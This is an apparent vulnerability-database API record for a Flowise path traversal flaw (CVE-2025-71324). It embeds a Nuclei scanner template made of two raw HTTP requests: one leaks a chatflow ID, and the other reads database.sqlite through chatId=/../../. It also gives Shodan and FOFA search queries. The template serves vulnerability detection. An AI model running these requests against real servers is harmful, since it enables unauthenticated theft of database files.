{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-71324/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-71324/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-71324/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-71324/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-71324/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-71324"},"sightings":{"href":"/api/v1/sightings/cve-2025-71324"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-71324.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-71324\n\ninfo:\n  name: Flowise - Path Traversal\n  author: theamanrawat,pdteam\n  severity: high\n  description: |\n    Flowise < 3.0.6 contains a path traversal vulnerability caused by improper validation of the chatId parameter in /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints, letting unauthenticated attackers read arbitrary files including sensitive database files.\n  impact: |\n    Unauthenticated attackers can read sensitive files, exposing database content and potentially compromising system confidentiality.\n  remediation: |\n    Update to version 3.0.6 or later.\n  reference:\n    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-99pg-hqvx-r4gf\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-71324\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2025-71324\n    epss-score: 0.0157\n    epss-percentile: 0.74301\n    cwe-id: CWE-73\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: FlowiseAI\n    product: Flowise\n    shodan-query: title:\"Flowise\"\n    fofa-query: title=\"Flowise\"\n  tags: cve,cve2025,flowise,lfi,path-traversal,unauth,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/vector/upsert/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW\n        Content-Disposition: form-data; name=\"files\"; filename=\"?\"\n        Content-Type: text/plain\n\n        test\n        ------WebKitFormBoundary7MA4YWxkTrZu0gW--\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"EISDIR\"\n          - \".flowise/storage\"\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: chatflowId\n        part: body\n        internal: true\n        group: 1\n        regex:\n          - 'storage/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})'\n\n  - raw:\n      - |\n        GET /api/v1/get-upload-file?chatflowId={{chatflowId}}&chatId=/../../&fileName=database.sqlite HTTP/1.1\n        Host: {{Hostname}}\n        x-request-from: internal\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"SQLite format 3\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402202cc7a053ab2a7c17fbe5ee716cca898acf71e34795a35ff8dbe99ab5aa7ea410022020b8229fd34b4b063ddaa637e487c45e62db558b2e0986c27f609cdde2134ba0:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-71324"}